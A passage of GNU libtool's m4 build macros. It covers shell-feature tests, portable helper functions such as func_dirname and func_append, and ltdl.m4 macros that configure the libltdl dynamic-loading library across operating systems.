"+="]) lt_shell_append=no ( foo=bar; set foo baz; eval "$[1]+=\$[2]" && test "$foo" = barbaz ) \ >/dev/null 2>&1 \ && lt_shell_append=yes AC_MSG_RESULT([$lt_shell_append]) _LT_CONFIG_LIBTOOL_INIT([lt_shell_append='$lt_shell_append']) if ( (MAIL=60; unset MAIL) || exit) >/dev/null 2>&1; then lt_unset=unset else lt_unset=false fi _LT_DECL([], [lt_unset], [0], [whether the shell understands "unset"])dnl # test EBCDIC or ASCII case `echo X|tr X '\101'` in A) # ASCII based system # \n is not interpreted correctly by Solaris 8 /usr/ucb/tr lt_SP2NL='tr \040 \012' lt_NL2SP='tr \015\012 \040\040' ;; *) # EBCDIC based system lt_SP2NL='tr \100 \n' lt_NL2SP='tr \r\n \100\100' ;; esac _LT_DECL([SP2NL], [lt_SP2NL], [1], [turn spaces into newlines])dnl _LT_DECL([NL2SP], [lt_NL2SP], [1], [turn newlines into spaces])dnl ])# _LT_CHECK_SHELL_FEATURES # _LT_PROG_XSI_SHELLFNS # --------------------- # Bourne and XSI compatible variants of some useful shell functions. m4_defun([_LT_PROG_XSI_SHELLFNS], [case $xsi_shell in yes) cat << \_LT_EOF >> "$cfgfile" # func_dirname file append nondir_replacement # Compute the dirname of FILE. If nonempty, add APPEND to the result, # otherwise set result to NONDIR_REPLACEMENT. func_dirname () { case ${1} in */*) func_dirname_result="${1%/*}${2}" ;; * ) func_dirname_result="${3}" ;; esac } # func_basename file func_basename () { func_basename_result="${1##*/}" } # func_dirname_and_basename file append nondir_replacement # perform func_basename and func_dirname in a single function # call: # dirname: Compute the dirname of FILE. If nonempty, # add APPEND to the result, otherwise set result # to NONDIR_REPLACEMENT. # value returned in "$func_dirname_result" # basename: Compute filename of FILE. # value retuned in "$func_basename_result" # Implementation must be kept synchronized with func_dirname # and func_basename. For efficiency, we do not delegate to # those functions but instead duplicate the functionality here. func_dirname_and_basename () { case ${1} in */*) func_dirname_result="${1%/*}${2}" ;; * ) func_dirname_result="${3}" ;; esac func_basename_result="${1##*/}" } # func_stripname prefix suffix name # strip PREFIX and SUFFIX off of NAME. # PREFIX and SUFFIX must not contain globbing or regex special # characters, hashes, percent signs, but SUFFIX may contain a leading # dot (in which case that matches only a dot). func_stripname () { # pdksh 5.2.14 does not do ${X%$Y} correctly if both X and Y are # positional parameters, so assign one to ordinary parameter first. func_stripname_result=${3} func_stripname_result=${func_stripname_result#"${1}"} func_stripname_result=${func_stripname_result%"${2}"} } # func_opt_split func_opt_split () { func_opt_split_opt=${1%%=*} func_opt_split_arg=${1#*=} } # func_lo2o object func_lo2o () { case ${1} in *.lo) func_lo2o_result=${1%.lo}.${objext} ;; *) func_lo2o_result=${1} ;; esac } # func_xform libobj-or-source func_xform () { func_xform_result=${1%.*}.lo } # func_arith arithmetic-term... func_arith () { func_arith_result=$(( $[*] )) } # func_len string # STRING may not start with a hyphen. func_len () { func_len_result=${#1} } _LT_EOF ;; *) # Bourne compatible functions. cat << \_LT_EOF >> "$cfgfile" # func_dirname file append nondir_replacement # Compute the dirname of FILE. If nonempty, add APPEND to the result, # otherwise set result to NONDIR_REPLACEMENT. func_dirname () { # Extract subdirectory from the argument. func_dirname_result=`$ECHO "X${1}" | $Xsed -e "$dirname"` if test "X$func_dirname_result" = "X${1}"; then func_dirname_result="${3}" else func_dirname_result="$func_dirname_result${2}" fi } # func_basename file func_basename () { func_basename_result=`$ECHO "X${1}" | $Xsed -e "$basename"` } dnl func_dirname_and_basename dnl A portable version of this function is already defined in general.m4sh dnl so there is no need for it here. # func_stripname prefix suffix name # strip PREFIX and SUFFIX off of NAME. # PREFIX and SUFFIX must not contain globbing or regex special # characters, hashes, percent signs, but SUFFIX may contain a leading # dot (in which case that matches only a dot). # func_strip_suffix prefix name func_stripname () { case ${2} in .*) func_stripname_result=`$ECHO "X${3}" \ | $Xsed -e "s%^${1}%%" -e "s%\\\\${2}\$%%"`;; *) func_stripname_result=`$ECHO "X${3}" \ | $Xsed -e "s%^${1}%%" -e "s%${2}\$%%"`;; esac } # sed scripts: my_sed_long_opt='1s/^\(-[[^=]]*\)=.*/\1/;q' my_sed_long_arg='1s/^-[[^=]]*=//' # func_opt_split func_opt_split () { func_opt_split_opt=`$ECHO "X${1}" | $Xsed -e "$my_sed_long_opt"` func_opt_split_arg=`$ECHO "X${1}" | $Xsed -e "$my_sed_long_arg"` } # func_lo2o object func_lo2o () { func_lo2o_result=`$ECHO "X${1}" | $Xsed -e "$lo2o"` } # func_xform libobj-or-source func_xform () { func_xform_result=`$ECHO "X${1}" | $Xsed -e 's/\.[[^.]]*$/.lo/'` } # func_arith arithmetic-term... func_arith () { func_arith_result=`expr "$[@]"` } # func_len string # STRING may not start with a hyphen. func_len () { func_len_result=`expr "$[1]" : ".*" 2>/dev/null || echo $max_cmd_len` } _LT_EOF esac case $lt_shell_append in yes) cat << \_LT_EOF >> "$cfgfile" # func_append var value # Append VALUE to the end of shell variable VAR. func_append () { eval "$[1]+=\$[2]" } _LT_EOF ;; *) cat << \_LT_EOF >> "$cfgfile" # func_append var value # Append VALUE to the end of shell variable VAR. func_append () { eval "$[1]=\$$[1]\$[2]" } _LT_EOF ;; esac ]) # ltdl.m4 - Configure ltdl for the target system. -*-Autoconf-*- # # Copyright (C) 1999-2006, 2007, 2008 Free Software Foundation, Inc. # Written by Thomas Tanner, 1999 # # This file is free software; the Free Software Foundation gives # unlimited permission to copy and/or distribute it, with or without # modifications, as long as this notice is preserved. # serial 17 LTDL_INIT # LT_CONFIG_LTDL_DIR(DIRECTORY, [LTDL-MODE]) # ------------------------------------------ # DIRECTORY contains the libltdl sources. It is okay to call this # function multiple times, as long as the same DIRECTORY is always given. AC_DEFUN([LT_CONFIG_LTDL_DIR], [AC_BEFORE([$0], [LTDL_INIT]) _$0($*) ])# LT_CONFIG_LTDL_DIR # We break this out into a separate macro, so that we can call it safely # internally without being caught accidentally by the sed scan in libtoolize. m4_defun([_LT_CONFIG_LTDL_DIR], [dnl remove trailing slashes m4_pushdef([_ARG_DIR], m4_bpatsubst([$1], [/*$])) m4_case(_LTDL_DIR, [], [dnl only set lt_ltdl_dir if _ARG_DIR is not simply `.' m4_if(_ARG_DIR, [.], [], [m4_define([_LTDL_DIR], _ARG_DIR) _LT_SHELL_INIT([lt_ltdl_dir=']_ARG_DIR['])])], [m4_if(_ARG_DIR, _LTDL_DIR, [], [m4_fatal([multiple libltdl directories: `]_LTDL_DIR[', `]_ARG_DIR['])])]) m4_popdef([_ARG_DIR]) ])# _LT_CONFIG_LTDL_DIR # Initialise: m4_define([_LTDL_DIR], []) # _LT_BUILD_PREFIX # ---------------- # If Autoconf is new enough, expand to `${top_build_prefix}', otherwise # to `${top_builddir}/'. m4_define([_LT_BUILD_PREFIX], [m4_ifdef([AC_AUTOCONF_VERSION], [m4_if(m4_version_compare(m4_defn([AC_AUTOCONF_VERSION]), [2.62]), [-1], [m4_ifdef([_AC_HAVE_TOP_BUILD_PREFIX], [${top_build_prefix}], [${top_builddir}/])], [${top_build_prefix}])], [${top_builddir}/])[]dnl ]) # LTDL_CONVENIENCE # ---------------- # sets LIBLTDL to the link flags for the libltdl convenience library and # LTDLINCL to the include flags for the libltdl header and adds # --enable-ltdl-convenience to the configure arguments. Note that # AC_CONFIG_SUBDIRS is not called here. LIBLTDL will be prefixed with # '${top_build_prefix}' if available, otherwise with '${top_builddir}/', # and LTDLINCL will be prefixed with '${top_srcdir}/' (note the single # quotes!). If your package is not flat and you're not using automake, # define top_build_prefix, top_builddir, and top_srcdir appropriately # in your Makefiles. AC_DEFUN([LTDL_CONVENIENCE], [AC_BEFORE([$0], [LTDL_INIT])dnl dnl Although the argument is deprecated and no longer documented, dnl LTDL_CONVENIENCE used to take a DIRECTORY orgument, if we have one dnl here make sure it is the same as any other declaration of libltdl's dnl location! This also ensures lt_ltdl_dir is set when configure.ac is dnl not yet using an explicit LT_CONFIG_LTDL_DIR. m4_ifval([$1], [_LT_CONFIG_LTDL_DIR([$1])])dnl _$0() ])# LTDL_CONVENIENCE # AC_LIBLTDL_CONVENIENCE accepted a directory argument in older libtools, # now we have LT_CONFIG_LTDL_DIR: AU_DEFUN([AC_LIBLTDL_CONVENIENCE], [_LT_CONFIG_LTDL_DIR([m4_default([$1], [libltdl])]) _LTDL_CONVENIENCE]) dnl aclocal-1.4 backwards compatibility: dnl AC_DEFUN([AC_LIBLTDL_CONVENIENCE], []) # _LTDL_CONVENIENCE # ----------------- # Code shared by LTDL_CONVENIENCE and LTDL_INIT([convenience]). m4_defun([_LTDL_CONVENIENCE], [case $enable_ltdl_convenience in no) AC_MSG_ERROR([this package needs a convenience libltdl]) ;; "") enable_ltdl_convenience=yes ac_configure_args="$ac_configure_args --enable-ltdl-convenience" ;; esac LIBLTDL='_LT_BUILD_PREFIX'"${lt_ltdl_dir+$lt_ltdl_dir/}libltdlc.la" LTDLDEPS=$LIBLTDL LTDLINCL='-I${top_srcdir}'"${lt_ltdl_dir+/$lt_ltdl_dir}" AC_SUBST([LIBLTDL]) AC_SUBST([LTDLDEPS]) AC_SUBST([LTDLINCL]) # For backwards non-gettext consistent compatibility... INCLTDL="$LTDLINCL" AC_SUBST([INCLTDL]) ])# _LTDL_CONVENIENCE # LTDL_INSTALLABLE # ---------------- # sets LIBLTDL to the link flags for the libltdl installable library # and LTDLINCL to the include flags for the libltdl header and adds # --enable-ltdl-install to the configure arguments. Note that # AC_CONFIG_SUBDIRS is not called from here. If an installed libltdl # is not found, LIBLTDL will be prefixed with '${top_build_prefix}' if # available, otherwise with '${top_builddir}/', and LTDLINCL will be # prefixed with '${top_srcdir}/' (note the single quotes!). If your # package is not flat and you're not using automake, define top_build_prefix, # top_builddir, and top_srcdir appropriately in your Makefiles. # In the future, this macro may have to be called after LT_INIT. AC_DEFUN([LTDL_INSTALLABLE], [AC_BEFORE([$0], [LTDL_INIT])dnl dnl Although the argument is deprecated and no longer documented, dnl LTDL_INSTALLABLE used to take a DIRECTORY orgument, if we have one dnl here make sure it is the same as any other declaration of libltdl's dnl location! This also ensures lt_ltdl_dir is set when configure.ac is dnl not yet using an explicit LT_CONFIG_LTDL_DIR. m4_ifval([$1], [_LT_CONFIG_LTDL_DIR([$1])])dnl _$0() ])# LTDL_INSTALLABLE # AC_LIBLTDL_INSTALLABLE accepted a directory argument in older libtools, # now we have LT_CONFIG_LTDL_DIR: AU_DEFUN([AC_LIBLTDL_INSTALLABLE], [_LT_CONFIG_LTDL_DIR([m4_default([$1], [libltdl])]) _LTDL_INSTALLABLE]) dnl aclocal-1.4 backwards compatibility: dnl AC_DEFUN([AC_LIBLTDL_INSTALLABLE], []) # _LTDL_INSTALLABLE # ----------------- # Code shared by LTDL_INSTALLABLE and LTDL_INIT([installable]). m4_defun([_LTDL_INSTALLABLE], [if test -f $prefix/lib/libltdl.la; then lt_save_LDFLAGS="$LDFLAGS" LDFLAGS="-L$prefix/lib $LDFLAGS" AC_CHECK_LIB([ltdl], [lt_dlinit], [lt_lib_ltdl=yes]) LDFLAGS="$lt_save_LDFLAGS" if test x"${lt_lib_ltdl-no}" = xyes; then if test x"$enable_ltdl_install" != xyes; then # Don't overwrite $prefix/lib/libltdl.la without --enable-ltdl-install AC_MSG_WARN([not overwriting libltdl at $prefix, force with `--enable-ltdl-install']) enable_ltdl_install=no fi elif test x"$enable_ltdl_install" = xno; then AC_MSG_WARN([libltdl not installed, but installation disabled]) fi fi # If configure.ac declared an installable ltdl, and the user didn't override # with --disable-ltdl-install, we will install the shipped libltdl. case $enable_ltdl_install in no) ac_configure_args="$ac_configure_args --enable-ltdl-install=no" LIBLTDL="-lltdl" LTDLDEPS= LTDLINCL= ;; *) enable_ltdl_install=yes ac_configure_args="$ac_configure_args --enable-ltdl-install" LIBLTDL='_LT_BUILD_PREFIX'"${lt_ltdl_dir+$lt_ltdl_dir/}libltdl.la" LTDLDEPS=$LIBLTDL LTDLINCL='-I${top_srcdir}'"${lt_ltdl_dir+/$lt_ltdl_dir}" ;; esac AC_SUBST([LIBLTDL]) AC_SUBST([LTDLDEPS]) AC_SUBST([LTDLINCL]) # For backwards non-gettext consistent compatibility... INCLTDL="$LTDLINCL" AC_SUBST([INCLTDL]) ])# LTDL_INSTALLABLE # _LTDL_MODE_DISPATCH # ------------------- m4_define([_LTDL_MODE_DISPATCH], [dnl If _LTDL_DIR is `.', then we are configuring libltdl itself: m4_if(_LTDL_DIR, [], [], dnl if _LTDL_MODE was not set already, the default value is `subproject': [m4_case(m4_default(_LTDL_MODE, [subproject]), [subproject], [AC_CONFIG_SUBDIRS(_LTDL_DIR) _LT_SHELL_INIT([lt_dlopen_dir="$lt_ltdl_dir"])], [nonrecursive], [_LT_SHELL_INIT([lt_dlopen_dir="$lt_ltdl_dir"; lt_libobj_prefix="$lt_ltdl_dir/"])], [recursive], [], [m4_fatal([unknown libltdl mode: ]_LTDL_MODE)])])dnl dnl Be careful not to expand twice: m4_define([$0], []) ])# _LTDL_MODE_DISPATCH # _LT_LIBOBJ(MODULE_NAME) # ----------------------- # Like AC_LIBOBJ, except that MODULE_NAME goes into _LT_LIBOBJS instead # of into LIBOBJS. AC_DEFUN([_LT_LIBOBJ], [ m4_pattern_allow([^_LT_LIBOBJS$]) _LT_LIBOBJS="$_LT_LIBOBJS $1.$ac_objext" ])# _LT_LIBOBJS # LTDL_INIT([OPTIONS]) # -------------------- # Clients of libltdl can use this macro to allow the installer to # choose between a shipped copy of the ltdl sources or a preinstalled # version of the library. If the shipped ltdl sources are not in a # subdirectory named libltdl, the directory name must be given by # LT_CONFIG_LTDL_DIR. AC_DEFUN([LTDL_INIT], [dnl Parse OPTIONS _LT_SET_OPTIONS([$0], [$1]) dnl We need to keep our own list of libobjs separate from our parent project, dnl and the easiest way to do that is redefine the AC_LIBOBJs macro while dnl we look for our own LIBOBJs. m4_pushdef([AC_LIBOBJ], m4_defn([_LT_LIBOBJ])) m4_pushdef([AC_LIBSOURCES]) dnl If not otherwise defined, default to the 1.5.x compatible subproject mode: m4_if(_LTDL_MODE, [], [m4_define([_LTDL_MODE], m4_default([$2], [subproject])) m4_if([-1], [m4_bregexp(_LTDL_MODE, [\(subproject\|\(non\)?recursive\)])], [m4_fatal([unknown libltdl mode: ]_LTDL_MODE)])]) AC_ARG_WITH([included_ltdl], [AS_HELP_STRING([--with-included-ltdl], [use the GNU ltdl sources included here])]) if test "x$with_included_ltdl" != xyes; then # We are not being forced to use the included libltdl sources, so # decide whether there is a useful installed version we can use. AC_CHECK_HEADER([ltdl.h], [AC_CHECK_DECL([lt_dlinterface_register], [AC_CHECK_LIB([ltdl], [lt_dladvise_preload], [with_included_ltdl=no], [with_included_ltdl=yes])], [with_included_ltdl=yes], [AC_INCLUDES_DEFAULT #include ])], [with_included_ltdl=yes], [AC_INCLUDES_DEFAULT] ) fi dnl If neither LT_CONFIG_LTDL_DIR, LTDL_CONVENIENCE nor LTDL_INSTALLABLE dnl was called yet, then for old times' sake, we assume libltdl is in an dnl eponymous directory: AC_PROVIDE_IFELSE([LT_CONFIG_LTDL_DIR], [], [_LT_CONFIG_LTDL_DIR([libltdl])]) AC_ARG_WITH([ltdl_include], [AS_HELP_STRING([--with-ltdl-include=DIR], [use the ltdl headers installed in DIR])]) if test -n "$with_ltdl_include"; then if test -f "$with_ltdl_include/ltdl.h"; then : else AC_MSG_ERROR([invalid ltdl include directory: `$with_ltdl_include']) fi else with_ltdl_include=no fi AC_ARG_WITH([ltdl_lib], [AS_HELP_STRING([--with-ltdl-lib=DIR], [use the libltdl.la installed in DIR])]) if test -n "$with_ltdl_lib"; then if test -f "$with_ltdl_lib/libltdl.la"; then : else AC_MSG_ERROR([invalid ltdl library directory: `$with_ltdl_lib']) fi else with_ltdl_lib=no fi case ,$with_included_ltdl,$with_ltdl_include,$with_ltdl_lib, in ,yes,no,no,) m4_case(m4_default(_LTDL_TYPE, [convenience]), [convenience], [_LTDL_CONVENIENCE], [installable], [_LTDL_INSTALLABLE], [m4_fatal([unknown libltdl build type: ]_LTDL_TYPE)]) ;; ,no,no,no,) # If the included ltdl is not to be used, then use the # preinstalled libltdl we found. AC_DEFINE([HAVE_LTDL], [1], [Define this if a modern libltdl is already installed]) LIBLTDL=-lltdl LTDLDEPS= LTDLINCL= ;; ,no*,no,*) AC_MSG_ERROR([`--with-ltdl-include' and `--with-ltdl-lib' options must be used together]) ;; *) with_included_ltdl=no LIBLTDL="-L$with_ltdl_lib -lltdl" LTDLDEPS= LTDLINCL="-I$with_ltdl_include" ;; esac INCLTDL="$LTDLINCL" # Report our decision... AC_MSG_CHECKING([where to find libltdl headers]) AC_MSG_RESULT([$LTDLINCL]) AC_MSG_CHECKING([where to find libltdl library]) AC_MSG_RESULT([$LIBLTDL]) _LTDL_SETUP dnl restore autoconf definition. m4_popdef([AC_LIBOBJ]) m4_popdef([AC_LIBSOURCES]) AC_CONFIG_COMMANDS_PRE([ _ltdl_libobjs= _ltdl_ltlibobjs= if test -n "$_LT_LIBOBJS"; then # Remove the extension. _lt_sed_drop_objext='s/\.o$//;s/\.obj$//' for i in `for i in $_LT_LIBOBJS; do echo "$i"; done | sed "$_lt_sed_drop_objext" | sort -u`; do _ltdl_libobjs="$_ltdl_libobjs $lt_libobj_prefix$i.$ac_objext" _ltdl_ltlibobjs="$_ltdl_ltlibobjs $lt_libobj_prefix$i.lo" done fi AC_SUBST([ltdl_LIBOBJS], [$_ltdl_libobjs]) AC_SUBST([ltdl_LTLIBOBJS], [$_ltdl_ltlibobjs]) ]) # Only expand once: m4_define([LTDL_INIT]) ])# LTDL_INIT # Old names: AU_DEFUN([AC_LIB_LTDL], [LTDL_INIT($@)]) AU_DEFUN([AC_WITH_LTDL], [LTDL_INIT($@)]) AU_DEFUN([LT_WITH_LTDL], [LTDL_INIT($@)]) dnl aclocal-1.4 backwards compatibility: dnl AC_DEFUN([AC_LIB_LTDL], []) dnl AC_DEFUN([AC_WITH_LTDL], []) dnl AC_DEFUN([LT_WITH_LTDL], []) # _LTDL_SETUP # ----------- # Perform all the checks necessary for compilation of the ltdl objects # -- including compiler checks and header checks. This is a public # interface mainly for the benefit of libltdl's own configure.ac, most # other users should call LTDL_INIT instead. AC_DEFUN([_LTDL_SETUP], [AC_REQUIRE([AC_PROG_CC])dnl AC_REQUIRE([LT_SYS_MODULE_EXT])dnl AC_REQUIRE([LT_SYS_MODULE_PATH])dnl AC_REQUIRE([LT_SYS_DLSEARCH_PATH])dnl AC_REQUIRE([LT_LIB_DLLOAD])dnl AC_REQUIRE([LT_SYS_SYMBOL_USCORE])dnl AC_REQUIRE([LT_FUNC_DLSYM_USCORE])dnl AC_REQUIRE([LT_SYS_DLOPEN_DEPLIBS])dnl AC_REQUIRE([gl_FUNC_ARGZ])dnl m4_require([_LT_CHECK_OBJDIR])dnl m4_require([_LT_HEADER_DLFCN])dnl m4_require([_LT_CHECK_DLPREOPEN])dnl m4_require([_LT_DECL_SED])dnl dnl Don't require this, or it will be expanded earlier than the code dnl that sets the variables it relies on: _LT_ENABLE_INSTALL dnl _LTDL_MODE specific code must be called at least once: _LTDL_MODE_DISPATCH # In order that ltdl.c can compile, find out the first AC_CONFIG_HEADERS # the user used. This is so that ltdl.h can pick up the parent projects # config.h file, The first file in AC_CONFIG_HEADERS must contain the # definitions required by ltdl.c. # FIXME: Remove use of undocumented AC_LIST_HEADERS (2.59 compatibility). AC_CONFIG_COMMANDS_PRE([dnl m4_pattern_allow([^LT_CONFIG_H$])dnl m4_ifset([AH_HEADER], [LT_CONFIG_H=AH_HEADER], [m4_ifset([AC_LIST_HEADERS], [LT_CONFIG_H=`echo "AC_LIST_HEADERS" | $SED 's,^[[ ]]*,,;s,[[ :]].*$,,'`], [])])]) AC_SUBST([LT_CONFIG_H]) AC_CHECK_HEADERS([unistd.h dl.h sys/dl.h dld.h mach-o/dyld.h dirent.h], [], [], [AC_INCLUDES_DEFAULT]) AC_CHECK_FUNCS([closedir opendir readdir], [], [AC_LIBOBJ([lt__dirent])]) AC_CHECK_FUNCS([strlcat strlcpy], [], [AC_LIBOBJ([lt__strl])]) AC_DEFINE_UNQUOTED([LT_LIBEXT],["$libext"],[The archive extension]) name=ltdl LTDLOPEN=`eval "\\$ECHO \"$libname_spec\""` AC_SUBST([LTDLOPEN]) ])# _LTDL_SETUP # _LT_ENABLE_INSTALL # ------------------ m4_define([_LT_ENABLE_INSTALL], [AC_ARG_ENABLE([ltdl-install], [AS_HELP_STRING([--enable-ltdl-install], [install libltdl])]) case ,${enable_ltdl_install},${enable_ltdl_convenience} in *yes*) ;; *) enable_ltdl_convenience=yes ;; esac m4_ifdef([AM_CONDITIONAL], [AM_CONDITIONAL(INSTALL_LTDL, test x"${enable_ltdl_install-no}" != xno) AM_CONDITIONAL(CONVENIENCE_LTDL, test x"${enable_ltdl_convenience-no}" != xno)]) ])# _LT_ENABLE_INSTALL # LT_SYS_DLOPEN_DEPLIBS # --------------------- AC_DEFUN([LT_SYS_DLOPEN_DEPLIBS], [AC_REQUIRE([AC_CANONICAL_HOST])dnl AC_CACHE_CHECK([whether deplibs are loaded by dlopen], [lt_cv_sys_dlopen_deplibs], [# PORTME does your system automatically load deplibs for dlopen? # or its logical equivalent (e.g. shl_load for HP-UX < 11) # For now, we just catch OSes we know something about -- in the # future, we'll try test this programmatically. lt_cv_sys_dlopen_deplibs=unknown case $host_os in aix3*|aix4.1.*|aix4.2.*) # Unknown whether this is true for these versions of AIX, but # we want this `case' here to explicitly catch those versions. lt_cv_sys_dlopen_deplibs=unknown ;; aix[[4-9]]*) lt_cv_sys_dlopen_deplibs=yes ;; amigaos*) case $host_cpu in powerpc) lt_cv_sys_dlopen_deplibs=no ;; esac ;; darwin*) # Assuming the user has installed a libdl from somewhere, this is true # If you are looking for one http://www.opendarwin.org/projects/dlcompat lt_cv_sys_dlopen_deplibs=yes ;; freebsd* | dragonfly*) lt_cv_sys_dlopen_deplibs=yes ;; gnu* | linux* | k*bsd*-gnu) # GNU and its variants, using gnu ld.so (Glibc) lt_cv_sys_dlopen_deplibs=yes ;; hpux10*|hpux11*) lt_cv_sys_dlopen_deplibs=yes ;; interix*) lt_cv_sys_dlopen_deplibs=yes ;; irix[[12345]]*|irix6.[[01]]*) # Catch all versions of IRIX before 6.2, and indicate that we don't # know how it worked for any of those versions. lt_cv_sys_dlopen_deplibs=unknown ;; irix*) # The case above catches anything before 6.2, and it's known that # at 6.2 and later dlopen does load deplibs. lt_cv_sys_dlopen_deplibs=yes ;; netbsd*) lt_cv_sys_dlopen_deplibs=yes ;; openbsd*) lt_cv_sys_dlopen_deplibs=yes ;; osf[[1234]]*) # dlopen did load deplibs (at least at 4.x), but until the 5.x series, # it did *not* use an RPATH in a shared library to find objects the # library depends on, so we explicitly say `no'. lt_cv_sys_dlopen_deplibs=no ;; osf5.0|osf5.0a|osf5.1) # dlopen *does* load deplibs and with the right loader patch applied # it even uses RPATH in a shared library to search for shared objects # that the library depends on, but there's no easy way to know if that # patch is installed. Since this is the case, all we can really # say is unknown -- it depends on the patch being installed. If # it is, this changes to `yes'. Without it, it would be `no'. lt_cv_sys_dlopen_deplibs=unknown ;; osf*) # the two cases above should catch all versions of osf <= 5.1. Read # the comments above for what we know about them. # At > 5.1, deplibs are loaded *and* any RPATH in a shared library # is used to find them so we can finally say `yes'. lt_cv_sys_dlopen_deplibs=yes ;; qnx*) lt_cv_sys_dlopen_deplibs=yes ;; solaris*) lt_cv_sys_dlopen_deplibs=yes ;; sysv5* | sco3.2v5* | sco5v6* | unixware* | OpenUNIX* | sysv4*uw2*) libltdl_cv_sys_dlopen_deplibs=yes ;; esac ]) if test "$lt_cv_sys_dlopen_deplibs" != yes; then AC_DEFINE([LTDL_DLOPEN_DEPLIBS], [1], [Define if the OS needs help to load dependent libraries for dlopen().]) fi ])# LT_SYS_DLOPEN_DEPLIBS # Old name: AU_ALIAS([AC_LTDL_SYS_DLOPEN_DEPLIBS], [LT_SYS_DLOPEN_DEPLIBS]) dnl aclocal-1.4 backwards compatibility: dnl AC_DEFUN([AC_LTDL_SYS_DLOPEN_DEPLIBS], []) # LT_SYS_MODULE_EXT # ----------------- AC_DEFUN([LT_SYS_MODULE_EXT], [m4_require([_LT_SYS_DYNAMIC_LINKER])dnl AC_CACHE_CHECK([which extension is used for runtime loadable modules], [libltdl_cv_shlibext], [ module=yes eval libltdl_cv_shlibext=$shrext_cmds ]) if test -n "$libltdl_cv_shlibext"; then m4_pattern_allow([LT_MODULE_EXT])dnl AC_DEFINE_UNQUOTED([LT_MODULE_EXT], ["$libltdl_cv_shlibext"], [Define to the extension used for runtime loadable modules, say, ".so".]) fi ])# LT_SYS_MODULE_EXT # Old name: AU_ALIAS([AC_LTDL_SHLIBEXT], [LT_SYS_MODULE_EXT]) dnl aclocal-1.4 backwards compatibility: dnl AC_DEFUN([AC_LTDL_SHLIBEXT], []) # LT_SYS_MODULE_PATH # ------------------ AC_DEFUN([LT_SYS_MODULE_PATH], [m4_require([_LT_SYS_DYNAMIC_LINKER])dnl AC_CACHE_CHECK([which variable specifies run-time module search path], [lt_cv_module_path_var], [lt_cv_module_path_var="$shlibpath_var"]) if test -n "$lt_cv_module_path_var"; then m4_pattern_allow([LT_MODULE_PATH_VAR])dnl AC_DEFINE_UNQUOTED([LT_MODULE_PATH_VAR], ["$lt_cv_module_path_var"], [Define to the name of the environment variable that determines the run-time module search path.]) fi ])# LT_SYS_MODULE_PATH # Old name: AU_ALIAS([AC_LTDL_SHLIBPATH], [LT_SYS_MODULE_PATH]) dnl aclocal-1.4 backwards compatibility: dnl AC_DEFUN([AC_LTDL_SHLIBPATH], []) # LT_SYS_DLSEARCH_PATH # -------------------- AC_DEFUN([LT_SYS_DLSEARCH_PATH], [m4_require([_LT_SYS_DYNAMIC_LINKER])dnl AC_CACHE_CHECK([for the default library search path], [lt_cv_sys_dlsearch_path], [lt_cv_sys_dlsearch_path="$sys_lib_dlsearch_path_spec"]) if test -n "$lt_cv_sys_dlsearch_path"; then sys_dlsearch_path= for dir in $lt_cv_sys_dlsearch_path; do if test -z "$sys_dlsearch_path"; then sys_dlsearch_path="$dir" else sys_dlsearch_path="$sys_dlsearch_path$PATH_SEPARATOR$dir" fi done m4_pattern_allow([LT_DLSEARCH_PATH])dnl AC_DEFINE_UNQUOTED([LT_DLSEARCH_PATH], ["$sys_dlsearch_path"], [Define to the system default library search path.]) fi ])# LT_SYS_DLSEARCH_PATH # Old name: AU_ALIAS([AC_LTDL_SYSSEARCHPATH], [LT_SYS_DLSEARCH_PATH]) dnl aclocal-1.4 backwards compatibility: dnl AC_DEFUN([AC_LTDL_SYSSEARCHPATH], []) # _LT_CHECK_DLPREOPEN # ------------------- m4_defun([_LT_CHECK_DLPREOPEN], [m4_require([_LT_CMD_GLOBAL_SYMBOLS])dnl AC_CACHE_CHECK([whether libtool supports -dlopen/-dlpreopen], [libltdl_cv_preloaded_symbols], [if test -n "$lt_cv_sys_global_symbol_pipe"; then libltdl_cv_preloaded_symbols=yes else libltdl_cv_preloaded_symbols=no fi ]) if test x"$libltdl_cv_preloaded_symbols" = xyes; then AC_DEFINE([HAVE_PRELOADED_SYMBOLS], [1], [Define if libtool can extract symbol lists from object files.]) fi ])# _LT_CHECK_DLPREOPEN # LT_LIB_DLLOAD # ------------- AC_DEFUN([LT_LIB_DLLOAD], [m4_pattern_allow([^LT_DLLOADERS$]) LT_DLLOADERS= AC_SUBST([LT_DLLOADERS]) AC_LANG_PUSH([C]) LIBADD_DLOPEN= AC_SEARCH_LIBS([dlopen], [dl], [AC_DEFINE([HAVE_LIBDL], [1], [Define if you have the libdl library or equivalent.]) if test "$ac_cv_search_dlopen" != "none required" ; then LIBADD_DLOPEN="-ldl" fi libltdl_cv_lib_dl_dlopen="yes" LT_DLLOADERS="$LT_DLLOADERS ${lt_dlopen_dir+$lt_dlopen_dir/}dlopen.la"], [AC_LINK_IFELSE([AC_LANG_PROGRAM([[#if HAVE_DLFCN_H # include #endif ]], [[dlopen(0, 0);]])], [AC_DEFINE([HAVE_LIBDL], [1], [Define if you have the libdl library or equivalent.]) libltdl_cv_func_dlopen="yes" LT_DLLOADERS="$LT_DLLOADERS ${lt_dlopen_dir+$lt_dlopen_dir/}dlopen.la"], [AC_CHECK_LIB([svld], [dlopen], [AC_DEFINE([HAVE_LIBDL], [1], [Define if you have the libdl library or equivalent.]) LIBADD_DLOPEN="-lsvld" libltdl_cv_func_dlopen="yes" LT_DLLOADERS="$LT_DLLOADERS ${lt_dlopen_dir+$lt_dlopen_dir/}dlopen.la"])])]) if test x"$libltdl_cv_func_dlopen" = xyes || test x"$libltdl_cv_lib_dl_dlopen" = xyes then lt_save_LIBS="$LIBS" LIBS="$LIBS $LIBADD_DLOPEN" AC_CHECK_FUNCS([dlerror]) LIBS="$lt_save_LIBS" fi AC_SUBST([LIBADD_DLOPEN]) LIBADD_SHL_LOAD= AC_CHECK_FUNC([shl_load], [AC_DEFINE([HAVE_SHL_LOAD], [1], [Define if you have the shl_load function.]) LT_DLLOADERS="$LT_DLLOADERS ${lt_dlopen_dir+$lt_dlopen_dir/}shl_load.la"], [AC_CHECK_LIB([dld], [shl_load], [AC_DEFINE([HAVE_SHL_LOAD], [1], [Define if you have the shl_load function.]) LT_DLLOADERS="$LT_DLLOADERS ${lt_dlopen_dir+$lt_dlopen_dir/}shl_load.la" LIBADD_SHL_LOAD="-ldld"])]) AC_SUBST([LIBADD_SHL_LOAD]) case $host_os in darwin[[1567]].*) # We only want this for pre-Mac OS X 10.4. AC_CHECK_FUNC([_dyld_func_lookup], [AC_DEFINE([HAVE_DYLD], [1], [Define if you have the _dyld_func_lookup function.]) LT_DLLOADERS="$LT_DLLOADERS 